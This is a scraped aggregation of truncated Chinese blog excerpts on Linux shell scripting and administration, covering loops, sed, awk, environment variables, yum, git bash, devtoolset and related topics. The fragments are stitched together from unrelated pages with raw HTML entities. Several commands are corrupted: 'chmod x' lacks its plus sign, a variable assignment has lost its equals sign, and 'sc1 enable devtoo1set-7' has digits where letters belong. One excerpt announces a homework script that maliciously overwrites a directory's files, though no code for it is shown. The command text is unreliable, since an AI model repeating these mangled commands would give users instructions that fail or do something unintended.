在编写脚本时&#xff0c;一定要注意空格 基本语法: while [ condition ] docommand1command2command3 done condition为true时命令1到命令3将会一直执行&#xff0c;知道条件为false &#xff0c;例如&#xff1a;#!/bin/bash x1 while [ $x -le 5 ] doecho "Welcom…

Shell判断上次命令执行失败时退出

Shell判断上次命令执行失败时退出 if [ $? ! 0 ]; then echo "err" exit 0 fi 返回错误使用exit 1 参考&#xff1a; https://zhidao.baidu.com/question/584426878.html

命令类型

一, Linux命令的分类: 包括:alias, keyword, function, built-in, $PATH这5类 二, Linux命令搜索顺序: 当 我们键入某个命令时, 那么shell会按照alias->keyword->function,->built-in->$PATH的顺序进行搜索, 本着”先到先得”的原则, 就是说如果有如名为mycmd的…

shell脚本之sed

sed sed 即 Stream EDitor&#xff0c;和 vi 不同&#xff0c;sed是行编辑器 基本用法 sed [选项] 自身脚本用法 [支持输入标准输入管道] 常用选项&#xff1a;-n 不输出模式空间内容到屏幕&#xff0c;即不自动打印-e 多点编辑-f FILE 从指定文件中读取编辑脚本-r, -E 使用…

ETCD本地多成员集群部署

目录安装部署etcdctl 操作etcd使用http请求操作etcd本地多成员集群搭建python获取成员信息参考安装部署 按照官网文档&#xff0c;安装release版本 https://etcd.io/docs/v3.4/install/ [rootVM-33-162-centos /usr/local/bin]# etcd --version etcd Version: 3.4.16 Git SH…

简单恶意shell脚本,实现目录文件全覆盖

刚看到作业的时候挺蒙的。 我Linux学的一向很薄弱。 根本不会shell脚本。白天还要做打工人。得赶快抓紧时间搞搞。 shell脚本就现学吧。 审审作业题目&#xff1a;脚本的目的是文件被覆盖 那怎样实现覆盖嘞 我在网上看到有大佬使用if条件判断语句&#xff0c;例如 #!bin/sh…

inputrc文件导致的终端粘贴异常

问题描述&#xff1a; 我在 .bashrc 文件设置了 export INPUTRC~/.config/.inputrc &#xff0c;结果导致了我向终端粘贴时&#xff0c;终端显示异常 原因分析&#xff1a; 经过排查&#xff0c;发现只有在我粘贴带中文字符的内容时&#xff0c;才会发生异常行为。而且&#xf…

Linux 执行文件报错: /bin/bash^M 坏的解释器 没有那个文件或目录

前言 我有一个定时脚本, 当时呢是在windows 环境下编写的, 编写完成后, crontab 定时去执行这个脚本, 但是在执行这个脚本时, 出错了, 如题一般, 提示当前脚本 是一个坏的解释器. 解决方法 出现这个原因呢,是因为我的这个脚本是在windows环境下编写的&#xff0c;导致了换行…

linux contos服务器在端口暴露的情况下被植入恶意代码, 解决方案!

当使用 chattr 进行权限更新时 错误: -bash: /usr/bin/chattr: Permission denied代表权限不足无法进行恶意脚本删除 解决方案: chmod x /usr/bin/chattr直接使用chattr 再使用 rm 时 报错 错误: rm: cannot remove ‘newinit.sh’: Operation not permitted最终解决方案: …

链接克隆 完整克隆_测试克隆tmp

链接克隆 完整克隆Since Day 1 with Plone circa 2004, I’ve always taken pride in and greatly enjoyed refining my development environment. 从大约在2004年与Plone合作的第一天起&#xff0c;我就一直为自己感到骄傲&#xff0c;并且非常享受改善自己的开发环境。 It’…

linux常用命令基础

一、linux常用命令基础 linux系统中运行的特殊程序在用户之间之间充当职着翻译官*用户登录linux系统是&#xff0c;自动加载一个shell程序bash是liunx系统中默认使用的程序 shell的作用 接受用户输入的命令解释命令传递给系统执行 二、linux命令的分类 内部指令外部指令集…

shell脚本规范与变量

shell脚本规范与变量 shell脚本概述结构 * shell的作用* shell编程规范* 重定向与管道shell脚本变量结构 * 自定义变量* 特殊变量shell脚本概述 shell脚本的概念 * 将要执行的命令按顺序保存到一个文本文件 * 给该文件可执行权限 * 可结合各种shell控制语句以完成根跟跟复杂的…

shell脚本循环语句之for循环

shell脚本循环语句之for循环 1、格式 2、常用参数 echo -n :表示不换行输出 echo -e :输出转义字符&#xff0c;把转义后的内容输出到屏幕上 常用的转义字符如下&#xff1a; \b 转义后相当于按退格键&#xff08;backspace) ,但前提是“\b”后面存在字符&#xff1b;“\b”…

shell脚本安装MySQL

一、相关安装包 1、将安装包mysql-boost-5.7.20.tar.gz拖至/opt目录下 2、编辑一个脚本文件&#xff0c;将以下脚本内容复制进去&#xff0c;然后source或者. 执行脚本&#xff0c;等脚本执行完成。 3、使用命令 mysqladmin -u root -p password 123456 修改密码&#xff0c…

如何设置与查看Linux系统中的环境变量?

大家都知道&#xff0c;在 Linux 系统中&#xff0c;有环境变量和 Shell 变量这两种变量。 环境变量是在程序及其子程序中全局可用的&#xff0c;常常用来储存像默认的文本编辑器或者浏览器&#xff0c;以及可执行文件的路径等等这样的信息。而 Shell 变量仅在当前 Shell 中可…

[Mac] gradle command not found 解决方法

一、找到Gradle路径 Gradle位于AndroidStudio的Content里&#xff0c;例如我的&#xff1a; 找到gradle后复制路径 二、把环境变量加入到配置文件中 我用的是oh-my-zsh&#xff0c;如果用的是bash的童鞋&#xff0c;请往下翻 1.oh-my-zsh 打开 zsh配置文件 vi ~/.zshrc …

shell概述及简单格式化输出

目录 前言 为何要学习shell&#xff1f; 一 shell的定义及作用 定义 shell解释器 二 shell脚本规范及执行 首行#&#xff01;/bin/bash 脚本名后缀sh 执行脚本 三 shell格式化输出 -e 为转义 后加多种选项实现不同格式的输出 附&#xff1a;利用echo -e \b实现的小…

diff、补丁使用

补丁的生成 sudo diff -Naur source1/file1.test source2/file1.test > file.patch其中&#xff1a; source1/file1.test 是修改前的文件 source2/file1.test &#xff1a; 修改后的文件 file.patch &#xff1a;补丁patch ; 在当前目录下生成&#xff0c;保存的是文件修改…

Linux的nohup和用法和区别

详解Linux的nohup和&用法和区别 用 & 在程序结尾来让程序在后台运行 ./start.sh & 在shell中用ctrl C, 那么start.sh照样运行。关掉shell后&#xff0c; start.sh进程消失。 nohup&#xff1a;不挂断地运行命令&#xff08;忽略SIGHUP信号 &#xff09; nohup …

shell中的各种括号

shell命令及输出&#xff1a;小括号 ( )算数运算&#xff1a;双小括号 (( ))整数比较&#xff1a;中括号 [ ] ——左右留空格字符串比较&#xff1a;双中括号 [[ ]]快速替换&#xff1a;花括号 { } ——左右留空格反单引号&#xff1a;用sub shell执行命令 shell命令及输出&am…

shell变量的五种赋值方式

shell变量的赋值https://blog.51cto.com/u_14881361/2673174 一.直接赋值 格式为&#xff1a;变量名变量值。 &#x1f416; 直接赋值时禁止在 等号 两端添加空格。 namehahah echo $name # 输出 hahah二.从键盘读入赋值 从键盘读入赋值的命令格式为&#xff1a;read -p [提…

linux总结-------BASH Shell(1)

一. 变量与变量的设定&#xff1a;echo,env,set,变量设定规则,export,unset echo 显示变量内容语法&#xff1a; [test testtest]# echo $variable 参数说明&#xff1a; 范例&#xff1a; [test testtest]# echo $PATH /bin:/sbin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/…

bash: yum:未找到命令

命令行输入 sudo apt-get install yum 下载 yum 即可

新装虚拟机—基础配置

新装虚拟机—基础配置 文章目录新装虚拟机—基础配置一&#xff1a;配置yum源-采用本地yum源方式二、编写yum源的配置文件三&#xff1a;安装基础软件包四&#xff1a;调整防火墙策略参考文章&#xff1a; vmware新装虚拟机基础配置 - 格桑梅朵儿 - 博客园 (cnblogs.com)一&…

bash和zsh互换

zsh切换为bashchsh -s /bin/bashbash切换为zshchsh -s /bin/zsh切换后需要重开窗口

Linux学习笔记——Shell高级进阶

目录 Shell运算符 算术运算符 布尔运算符 逻辑运算符 字符串运算符 文件测试运算符 echo打印数据 test命令 数字 字符串 文件测试 Shell流程控制 if case for while break continue Shell函数 Shell运算符 算术运算符 #! /bin/basha20 b10valexpr $a $b#不…

Linux(CentOS7)初始化配置脚本

脚本 #!/bin/bash ## -bash ./lucky.sh:/bin/bash^M:bad interpreter:no such file or directory ## vim或vi的命令模式下&#xff0c;输入命令 set fileformatunix即可解决换行问题## 如果wget获取阿里云源那一步失败了就手动执行一下wget条命令&#xff0c;然后再重新执行一…

linux常用命令-压缩解压命令

.gz gzip压缩 gunzip解压 只能压缩文件&#xff0c;且不保留原文件 tar【.tar .tar.gz .tar.bz2】 语法&#xff1a;tar -zcf test.tar.gz /etc -c 压缩 -x 解包 -v 显示详细信息 -f 指定解压文件 -z 解压缩 .tar.bz2格式 > tar -cjf -xjf 压缩不保留原文件 zip[.zip] 选项…

linux统计一个文件中某个字符串的个数[grep/awk/tr]

统计一个文件中某个字符串的个数&#xff0c;其实就是在在一块沙地里面找石头&#xff0c;有的人看到石头以后&#xff0c;在上面做个标记&#xff08;grep&#xff09;&#xff0c;然后记住自己做了多少个标记&#xff1b;有的 人看到石头以后&#xff0c;把它挖了&#xff08…

-bash: zip: 未找到命令

如果在使用 -bash: zip: 未找到命令 时出现这个错误&#xff0c;说明您的系统缺少 zip 命令&#xff0c;因此无法执行 zip 压缩操作。zip 命令通常用于在 Linux 或类 Unix 系统上进行文件和目录的压缩和解压缩。 解决这个问题的方法取决于您使用的操作系统和包管理器。以下是一…

利用日期创建文件-多用于数据库的备份

功能&#xff1a;根据日期变化实现文件的创建 1&#xff09;知识点&#xff0c;date命令的用法 --date"n day ago" %Y%m%d #n天前&#xff0c;当天则可以去掉--date参数 2&#xff09;文件名的拼接 ${filename}${date} 3查看结果文件 后期学循环语句可以改一下…

使用Vscode调试shell脚本 环境搭建基本步骤

操作系统&#xff1a; Linux --CentOS. step1: 在Vscode 中安装Bash Debug Step2:创建一个名字为123.sh的shell脚本&#xff1b; 输入123.sh, 回车: ​​​​​​Step3:编辑简单的待打印的内容,如下&#xff1a; Step4: 配置编译器 修改为下面内容&#xff1a; Step5: 点击按…

Git Bash配置及Key的提交

Git Bash命令行配置 1.从开始菜单中找到Git Bash&#xff0c;点击打开之后&#xff0c;显示如下&#xff1a; 2.点击左上角的图标&#xff0c;在下拉菜单中选择“Options...”&#xff0c;点击之后会弹出Git Bash的配置界面&#xff0c;可以根据自己的需要进行配置&#xff0c;…

Linux家目录变成了-bash-4.2$

Linux家目录变成了-bash-4.2$ Mark a workarround: 使用root用户&#xff0c;执行cp -a /etc/skel/. /home/zookeeper/&#xff08;不是root用户也可以&#xff09; 其中/home/zookeeper/目录是对应自己的家目录地址~ 若有帮到你&#xff0c;记得点赞&#xff0c;收藏呀…

History(历史)命令用法 15 例

History&#xff08;历史&#xff09;命令用法 15 例 如果你经常使用 Linux 命令行&#xff0c;那么使用 history&#xff08;历史&#xff09;命令可以有效地提升你的效率。本文将通过实例的方式向你介绍 history 命令的 15 个用法。 使用 HISTTIMEFORMAT 显示时间戳 当你从…

Prometheus00-CentOS 7 安装2023年最新linux版本

可以按照以下步骤将Prometheus安装到CentOS 7的/usr/local目录&#xff0c;并将其交给systemctl管理&#xff1a; 下载并解压Prometheus 可以直接在官网下载&#xff1a;https://prometheus.io/download/ 我这里直接下载最新的 wget https://github.com/prometheus/prometheus…

RK356x监控温度及CPU频率的服务(Ubuntu20.04)

1 脚本 touch /userdata/show_temps.sh添加内容 #! /bin/bash //压力测试 stress --cpu 4 & stress --cpu 4 &while true; dotypes($(cat /sys/class/thermal/thermal_zone*/type))temps($(cat /sys/class/thermal/thermal_zone*/temp))freqs($(cat /sys/bus/cpu/dev…

GCC编译器应用简介

GCC编译器应用简介一、初识GCC二、GCC编译代码三、GCC命令四、GCC编译流程一、初识GCC Ubuntu 下的 C 语言编译器是 GCC&#xff0c;GCC 编译器在我们 Ubuntu 的时候就已经默认安装好 了&#xff0c;可以通过如下命令查看 GCC 编译器的版本号&#xff1a; gcc -v输入命令后&a…

Shell编程基础 – 变量(Variables)

Shell编程基础 – 变量&#xff08;Variables&#xff09; Shell Scripting Essentials – Variables Bash变量作为shell脚本的重要组成部分&#xff0c;提供了在Unix/Linux命令行界面操作和保存数据的方法。 本文简要介绍Bash Shell脚本变量的基础知识以及应用&#xff0c;包…

AWK常用用法

awk简介 awk其名称得自于它的创始人 Alfred Aho 、Peter Weinberger 和 Brian Kernighan 姓氏的首个字母。实际上 AWK 的确拥有自己的语言&#xff1a; AWK 程序设计语言 &#xff0c; 三位创建者已将它正式定义为“样式扫描和处理语言”。它允许您创建简短的程序&#xff0c;…

Bash openldap同步AD组织数据

将AD的ou同步到openldap&#xff08;可支持全量同步和增量同步&#xff09; 整体思路如下&#xff1a; 从ad导出所有的数据&#xff0c;然后进行参数替换以及处理&#xff0c;处理后的文件称为A&#xff1b;从openldap导出所有的数据&#xff0c;然后进行参数替换以及处理&am…

Linux实操篇---常用的基本命令1(跟文件操作相关的命令)

一、常用的基本命令 1.常用的shell命令 Shell可以看作是一个命令解释器&#xff0c;为我们提供了交互式的文本控制台界面。 目前的发行版本&#xff1a;在bin/sh 最早的版本Unix&#xff1a;Bourne shell—>Bourne Again Shell 取了 B A Sh。因此目前Linux的发行版大多数…

bash文件大小排序,重命名

转自chinaunix ls -Sr|awk {print "mv","/""$0"/"",NR}|sh 包含文件名有空格的处理方法 "/""$0"/"" bash 与awk 的嵌套 awk {print "mv","/""$0"/"&q…

linux shell 入门学习笔记13 父子shell

从上面的父子shell的图表中可以看到&#xff1a; 1.使用source和点&#xff0c;执行脚本&#xff0c;旨在当前的shell环境中执行生效 2.指定/bin/bash解释器运行脚本&#xff0c;是开启了一个subshell&#xff0c;开启子shell运行脚本命令。 3…/script&#xff0c;都会指定she…

Java面向对象:抽象与接口

抽象方法 在Java中当一个类abstract关键字修饰时&#xff0c;该方法称为抽象方法。抽象方法所在的类必须定义为抽象类。 [访问修饰符]abstract<返回类型><方法名>([参数列表]);例程&#xff1a; public abstract class Pet { //抽象类public abstract void toHo…

RHCE8 资料整理(八)

RHCE8 资料整理 第 8 篇 容器管理第 27 章 使用podman管理容器27.1 安装及配置podman27.2 镜像管理27.2.1 镜像的命名27.2.2 对镜像重新做标签27.2.3 删除镜像27.2.4 查看镜像的层结构27.2.5 导出和导入镜像 27.3 创建容器27.3.1 创建容器27.3.2 容器的生命周期27.3.3 创建临时…

Shell特殊字符

shell语言&#xff0c;一些字符是有特殊意义的。 根据作用分为几种特殊符号 一、空白 shell调用函数&#xff0c;不像c语言那样用把参数放到括号里&#xff0c;用逗号分隔。而是用空格作为参数之间&#xff0c;参数与函数名之间的分隔符。 换行符也是特殊字符。换行符用作一条命…

shell编程lesson01

命令行和脚本关系 命令行&#xff1a;单一shell命令&#xff0c;命令行中编写与执行&#xff1b; 脚本&#xff1a;众多shell命令组合成一个完成特定功能的程序&#xff0c;在脚本文件中进行编写维护。 脚本是一个文件&#xff0c;一个包含有一组命令的文件。 编写一个shel…

浅谈Linux bash脚本----截取字符串

# 用于删除左起第一个匹配内容&#xff0c;即截取右侧内容 ## 用于删除右起第一个匹配内容&#xff0c;即截取右侧内容 % 用于删除右起第一个匹配内容&#xff0c;即截取左侧内容 %% 用于删除左起第一个匹配内容&#xff0c;即截取左侧内容 举例 file/dir1/dir2/dir3/…

scl devsettool升级gcc

//安装sclsudo yum install centos-release-scl//安装新版本gccsudo yum -y install devtoolset-7-gcc*sc1 enable devtoo1set-7 bash //启动:细节&#xff0c;命令行启动只能在本会话有效要想永久有效&#xff1a; vim ~/.bash_profile 将该命令写入该文件&#xff1a; sc1 e…

MIT2020《Missing Semester》—1课程总览和shell介绍

《Missing Semester》——《那些年&#xff0c;计算机课程中一起缺失的一门课》 不知道大家有没有这样一种体验&#xff0c;在实际写代码或者是工作、做项目的过程当中经常被一些简单的问题难住。比如vim的一些命令不熟悉&#xff0c;或者是git的一些操作不知道怎么弄&#xf…

shell脚本入门

实习的时候第一个月的考核就是如何部署一个云资源&#xff0c;当时走的捷径&#xff08;杠杠的搜索能力hhhh&#xff09;找到了一个shell脚本一键部署&#xff0c;后来被leader问起来就如实说了&#xff0c;leader问有没有看懂shell脚本中的逻辑……&#xff08;没有&#xff0…

【shell脚本】数组

数组 一、数组1.1数组的定义方法1.2数组包括的数据类型1.3获取数组的元素1.4数组追加1.5向函数传入数组的值 二、排序算法2.1冒泡排序2.2直接选择排序2.3插入排序2.4反转排序 一、数组 1.1数组的定义方法 格式 方法一&#xff1a; 数组名&#xff08;1 2 3 4 5&#xff09;#…

-bash: ./deploy.sh: /bin/bash^M: bad interpreter: No such file or directory

文章目录 场景解决 场景 jenkins 发布失败, 报错ERROR: Exception when publishing, exception message [Exec exit status not zero. Status [126]], 这说明远程服务器的deploy.sh执行失败, 首先检查权限&#xff0c;没有发现问题&#xff0c;然后手动执行一遍又报错"-ba…

kill 进程时遇到的一件有意思的事情

1.案例现象 一般来讲&#xff0c;我们在 kill 掉一个进程的时候通常有两个选择&#xff1a; 找到进程的 pid 号&#xff0c;然后执行 kill 命令找到进程的名字&#xff0c;然后执行 pkill 命令 pkill 和 kill 命令都是向指定的进程发送信号&#xff0c;从而完成终结进程的操…

bash特性

bash bash是一个命令处理器&#xff0c;运行在文本窗口zh哦那个&#xff0c;执行用户输入的命令。 1、bash特性–历史命令 保留用户的历史执行的命令&#xff0c;可以使用history查看之前执行过的命令 #通过$HISTORY查看保存的命令条数 echo $HISTORY #存放用户执行的历史…

CentOS、Ubuntu、Debian 对比

1. 共同点 这三个系统都是Linux的发行版本&#xff1b; 2. 特点 2.1 CentOS系统 稳定 很多网站站长一般都选择centOS系统&#xff0c;CentOS是从redhat源代码编译重新发布版。CentOS去除很多与服务器功能无关的应用&#xff0c;系统简单但非常稳定&#xff0c;命令行操作可…

SHELL第一天

要求&#xff1a;1、安装JDK及配置环境变量。 2、Shell脚本中&#xff0c;$0 $1 $$ $* $?分别代表了什么意思&#xff1f; 3、写一个脚本&#xff1a;显示出当前的脚本文件名和当前的系统时间。 4、已知目录/scripts目录&#xff0c;执行batch.sh脚本&#xff0c;实现在/scrip…

Linux操作系统实用技术总结(bash、vim、GNU make、正则表达式)

一、Bash脚本编程 参考资料&#xff1a; http://www.ibm.com/developerworks/cn/linux/shell/bash/bash-1/index.html http://www.ibm.com/developerworks/cn/linux/shell/bash/bash-2/index.html http://www.ibm.com/developerworks/cn/linux/shell/bash/bash-1/index.htm…

Linux中阶教程:bash shell基础

文章目录 输入输出赋值和计算条件判断函数for 循环数组及其遍历其他控制语句 输入输出 echo表示打印字符串&#xff1b;read表示获取用户输入&#xff1b;$用于引用变量。 # test1.sh bash中用#进行单行注释 echo "input your name:" read user_name echo "h…

使用Git bash切换Gitee、GitHub多个Git账号

Git是分布式代码管理工具&#xff0c;使用命令行的方式提交commit、revert回滚代码。这里介绍使用Git bash软件来切换Gitee、GitHub账号。     假设在gitee.com上的邮箱是alicefoxmail.com 、用户名为alice&#xff1b;在github上的邮箱是bobfoxmail.com、用户名为bob。 账号…

【Linux篇】Shell脚本语法

前言 在安卓源码里&#xff0c;离不开两个东西&#xff0c;一个就是.sh文件&#xff0c;还有一个就是.mk文件。 这两个文件各持有一个语法&#xff0c;一个是Makefile语法&#xff0c;一个是Shell脚本语法。 这两个是真的让我头疼&#xff0c;就像看天书一样&#xff0c;呜呜…

Linux centos7 bash编程(循环与条件判断)

在编程训练中&#xff0c;循环结构与条件判断十分重要。 根据条件为真为假确定是否执行循环。 有时&#xff0c;根据条件的真假结果&#xff0c;决定执行哪些语句&#xff0c;这就是分支语句。 为了训练分支语句与循环语句&#xff0c;我们设计一个案例&#xff1a; 求一组…

She Will Be Loved

curl -X POST --header Content-Type: application/json --header Accept: application/json -d She will be loved http://localhost:8280/rsa/encode?apptokensdsds&appkeyfdfdd

keepalive

目录 一、keepalive基础 1.vrrp技术 VRRP相关术语 2.VRRP相关技术 &#xff08;1&#xff09;通告 &#xff08;2&#xff09;工作方式 &#xff08;3&#xff09;安全认证&#xff1a; &#xff08;4&#xff09;工作模式&#xff1a; 二、keepalived 1.keepalived介…

MYSQL高级语言

目录 一、导入数据库 二、select 作用 语法 例子 &#xff08;1&#xff09;select * from info; &#xff08;2&#xff09;select name from info; &#xff08;3&#xff09;select name,id,age from info; 三、distinct&#xff08;查询不重复记录&#xff09; 语…

shell脚本--文本处理三剑客之sed文件以及文件内容操作

一。利用sed输出特定内容 查询命令对照表 查询命令 含义1p 打印第1行内容 1&#xff0c;10p 打印1到10行的内容 1&#xff0c;5p 打印第1行到6行的内容 /…

shell脚本--文本处理三剑客之awk 模式匹配的两种用法(正则和运算符)

第一种模式匹配:RegExp(正则表达式) 第二种模式匹配: 关系运算符匹配 用法格式对照表 语法格式 含义 RegExp 按照正则表达式匹配 关系运算 案关系运算匹配第一种: 示例: pattern变量为root的字段 并进…

shell编程(一)

shell 简介 Shell 是一个用 C 语言编写的程序,一般我们说的shell编程&#xff0c;是指编写shell脚本。 Shell 负责完成用户与内核之间的交互&#xff08;shell是一个命令解释器&#xff0c;负责将用户的命令解析成操作系 统所能理解的指令&#xff09; 第一个shell脚本 创建…

Git Bash修改默认打开之后的路径

现象描述 默认情况下&#xff0c;Git Bash打开之后的默认路径是“/c/Users/Administrator”&#xff0c;这样的话&#xff0c;我们在使用的时候还需要手动切换到代码工程所在的目录&#xff0c;过于繁琐。所以&#xff0c;需要修改下默认打开的路径&#xff0c;改成我们常用代码…

BASH set命令

BASH set命令 用set命令可以设置各种shell选项或者列出shell变量.单个选项设置常用的特性. 在某些选项之后-o参数将特殊特性打开.在某些选项之后使用o参数将关闭某些特性, 不带任何参数的set命令将显示shell的全部变量.除非遇到非法的选项,否则set总是 返回ture. 当BASH shell…

Linux【脚本 04】Shell脚本传递参数的4种方式(位置参数、特殊变量、环境变量和命名参数)实例说明

脚本传递参数的4种方式 1.Shell基础知识1.1 解释器1.2 变量1.3 参数1.4 条件语句1.5 循环语句1.6 函数1.7 输入输出1.8 命令执行1.9 运算符 2. 参数传递2.1 位置参数2.2 特殊变量2.3 环境变量2.4 命名参数2.4.1 getopts2.4.2 getopt Shell脚本是一种命令语言&#xff0c;可以用…

在OpenWRT上自动重拨号获取公网IP(手记)

在OpenWRT上自动重拨号获取公网IP&#xff08;手记&#xff09; 前言 哈喽&#xff0c;大家是否有过这样的经历&#xff1a;想在家里搭建一个小型的服务器、或者是一个NAS&#xff0c;但由于运营商提供的IP地址是一个内网地址&#xff0c;但有一定的概率能获得公网IP。这篇文…

CGI脚本练习

CGI脚本练习 html初始如下&#xff1a; <!DOCTYPE html> <html> <head> <meta charset"utf-8"> <title>test</title> </head> <body>Hello World. </body> </html>点击链接&#xff0c;执行cgi脚本 …

Linux使用:环境变量指南和CPU和GPU利用情况查看

Linux使用&#xff1a;环境变量指南和CPU和GPU利用情况查看Linux环境变量初始化与对应文件的生效顺序Linux的变量种类设置环境变量直接运行export命令定义变量修改系统环境变量修改用户环境变量修改环境变量配置文件环境配置文件的区别profile、 bashrc、.bash_profile、 .bash…

Shell基础之Bash变量

一、用户自定义变量 1、什么是变量 变量是计算机程序中的一种基本概念&#xff0c;用于保存和处理数据。在程序中&#xff0c;我们可以将变量看作一种“容器”或“盒子”&#xff0c;它们用来存储各种类型的值&#xff0c;并且可以随时修改和访问。在Shell中&#xff0c;变量…

Git clone失败的解决方法

问题描述 新配置的Git Bash客户端去克隆服务器的工程时出现如下错误&#xff1a; Unable to negotiate with xxx port xxx:no matching key exchange method found.Their offer: diffie-hellman-group1-sha1 fatal:Could not read from remote repository. Please make sure yo…

【嵌入式Linux基础】启动初始化程序--init程序

文章目录 内核启动后初始化程序简介BusyBox initBuildroot init 脚本 后记 内核启动后 内核引导代码在initramfs中通过内核命令行中的root指定的文件系统中去寻找根系统文件&#xff0c;并执行一个相应的程序。在默认情况下&#xff0c;对于initramfs这个程序是/init&#xff0…

Linux ln 命令

Linux ln&#xff08;英文全拼&#xff1a;link files&#xff09;命令是一个非常重要命令&#xff0c;它的功能是为某一个文件在另外一个位置建立一个同步的链接。 当我们需要在不同的目录&#xff0c;用到相同的文件时&#xff0c;我们不需要在每一个需要的目录下都放一个必…

UC第一节

UC&#xff08;unix 操作系统C语言&#xff09; 操作系统&#xff08;OS&#xff09; 定义&#xff1a;是管理计算机硬件和软件资源的一个系统软件 shell(壳保护系统内核) linux操作系统—bash 环境变量 每个进程都有自己的环境变量表 “键值” env命令查看环境变量列表 echo …

Shell - line 2: $‘\r‘: command not found

一.引言 拷贝脚本提交后报错 line 2: $\r: command not found&#xff0c;但是这是别的同学可以运行后发给我的&#xff0c;随后开始排查。 二.问题解决 任务执行错误是因为原始脚本是在 windows 环境下编写而本机 linux 不识别导致&#xff0c;因此需要将对应文件转化为 lin…

linux脚本中 #!/bin/sh、#!/bin/bash

我们通常看到的脚本文件总是有以下这样的开头&#xff1a; #!/bin/bash本文解释一下这是什么&#xff0c;以及为什么要写它。 首先解释一下 #! &#xff0c;因为 #!有个专有的名词&#xff0c;叫 shebang 发音类似中文的 “蛇棒” 。为什么叫 shebang 呢&#xff1f; 首先 #…

linux常用命令-权限管理

chmod 功能描述&#xff1a;改变文件或目录权限 语法&#xff1a;chmod [{ugoa}{-}{rwx}][文件或目录]-R 递归修改 权限数字表示&#xff1a;r---4 读权限 可以查看文件内容 可以列出目录中的内容 w---2 写权限 可以修改文件内容 可以在目录中创建、删除文件x---1 执行权限 可…

linux常用命令-文件搜索命令

find -name -iname[不区分大小写] find / -size n大于 -n小于 n等于 find / -user 查找所有者为xxx的文件-group 根据所属组查找 find / -cmin -5 5分钟内被修改过属性的文件和目录-amin 访问时间access-cmin 文件属性change-mmin 文件内容modify-a同时满足条件|-o满足其一条件…

Linux 之alias 命令别名

alias 命令别名 显示当前shell进程所有可用的命令别名 #alias 定义命令别名&#xff0c;其命令为&#xff1a;#alias NAME"VALUE" 在命令行中定义的别名&#xff0c;仅对当前shell进程有效 想要永久有效&#xff0c;需要在配置文件中定义 对当前用户有效&#xff…

Linux中用bash写脚本

本章主要介绍如何使用bash 了解通配符了解变量了解返回值和数值运算判断语句 grep的用法是“grep 关键字 file”&#xff0c;意思是从file中过滤出含有关键字的行 例如&#xff0c;grep root /var/log/messages&#xff0c;意思是从/var/log/messages 中过滤出含有root 的行…

Linux命令集(Linux常用命令--cat指令篇)

Linux命令集&#xff08;Linux常用命令--cat指令篇&#xff09; Linux常用命令集&#xff08;cat指令篇&#xff09;4.cat(concatenate)1. 查看文件内容&#xff1a;2. 连接多个文件&#xff1a;3. 创建文件并通过终端写入内容4. 输出内容编号 Linux常用命令集&#xff08;cat指…

自制Linux精简系统

本系统是基于CentOS6.8 步骤如下: 自制Linux系统 (1)分区并创建文件系统 fdisk /dev/sdb 分两个必要的分区 /dev/sdb1 对应 /boot /dev/sdb2 对应根 / 创建文件系统 mkfs.ext4 /dev/sdb1 mkfs.ext4 /dev/sdb2 (2)挂载boot分区 mkdir /mnt/bootmount /dev/sdb1 /mnt/boot…

shell编程-column命令详解(超详细)

文章目录 前言一、column命令介绍1. column命令简介2. column命令基本语法3. column命令常见选项1. -t选项2. -s选项3. -o选项4. -c选项5. -x选项6. -n选项 二、column命令示例用法示例1&#xff1a;使用默认选项对齐输出示例2&#xff1a;自定义字段分隔符示例3&#xff1a;指…

Golang 不定参数类型

这里写目录标题1. Golang 不定参数类型1.1. 不定参数类型1.2. 不定参数的传递1.3. 任意类型的不定参数1. Golang 不定参数类型 1.1. 不定参数类型 不定参数是指函数传入的参数个数为不定数量。 package mainimport ("fmt" )//不定参数函数 func Add(a int, args .…

Linux后台挂起,重定向输出,暂存进程号,杀死后台进程

后台挂起CMD命令 CMD代表要在后台运行的shell命令 重定向输出到cmd.out&#xff0c;进程号存入pid.txt #!/bin/sh nohup [CMD] > cmd.out 2>&1 & echo $! > pid.txt文件备注pid.txt暂存了进程IDcmd.out程序的标准输出 重定向输出到nohup.out&#xff0c;进程…

遇到的linux问题汇集

A.umask 1.作用 umask设置用户文件和目录的文件创建缺省屏蔽值&#xff0c;若将此命令放入profile文件&#xff0c;就可控制该用户后续所建文件的存取许可。它告诉系统在创建文件时不给谁存取许可。使用权限是所有用户。 2.格式 umask [-p] [-S] [mode] 3.参数 &am…

linux之基础shell脚本编程4 字符串操作,变量赋值,配置用户环境

linux之基础shell脚本编程1 基础变量赋值 linux之基础shell脚本编程2 if语句循环判断 linux之基础shell脚本编程3 函数数组 linux之基础shell脚本编程4 字符串操作&#xff0c;变量赋值&#xff0c;配置用户环境 九 字符串 9.1 bash的字符串处理工具: 9.1.1 字符串切片: $…

一篇文章让你彻底掌握 Shell

#一篇文章让你彻底掌握 Shell 由于 bash 是 Linux 标准默认的 shell 解释器&#xff0c;可以说 bash 是 shell 编程的基础。 本文主要介绍 bash 的语法&#xff0c;对于 linux 指令不做任何介绍。 ███████╗██╗ ██╗███████╗██╗ ██╗ ██╔══…

tcsh常用配置

查看当前的shell类型 在 Linux 的世界中&#xff0c;有着许多 shell 程序。常见的有&#xff1a; Bourne shell (sh) C shell (csh) TC shell (tcsh) Korn shell (ksh) Bourne Again shell (bash) 其中&#xff0c;最常用的就是bash和tcsh&#xff0c;本次文章介绍tcsh的…

误操作zsh或bash_profile导致conda不能使用

1. 检查conda命令是否有效 我当时因为把整个跟conda有管的全部删除了&#xff0c;所以直接使得conda命令也不能使用了&#xff0c;你可以通过以下命令查看 $ conda --version conda 22.11.1成功输出的话&#xff0c;表示你的conda没问题&#xff0c;你可以直接跳到第5步&…

Shell脚本编程案例 – 实现国际象棋棋盘

Shell脚本编程案例 – 实现国际象棋棋盘 By JacksonML 国际象棋的棋盘&#xff0c;为横纵八个格子的正方形棋盘。同时&#xff0c;这每排的八个格子&#xff0c;要交替显示不同的颜色。默认国际象棋棋盘为黑白相间&#xff0c;样例如下图所示&#xff08;图片来自网络&#xf…

shell编程 -- 基础

shell是一个命令行解释器&#xff0c;它接收应用程序/用户命令&#xff0c;然后调用操作系统内核。 linux笔记 链接&#xff1a;https://pan.baidu.com/s/16GZCPfUTRzUqIyGnYwPuUg?pwds5xt 提取码&#xff1a;s5xt 脚本执行 采用bash或者sh脚本的相对路径或绝对路径&#x…

shell基础(7)测试:判断命令的执行过程

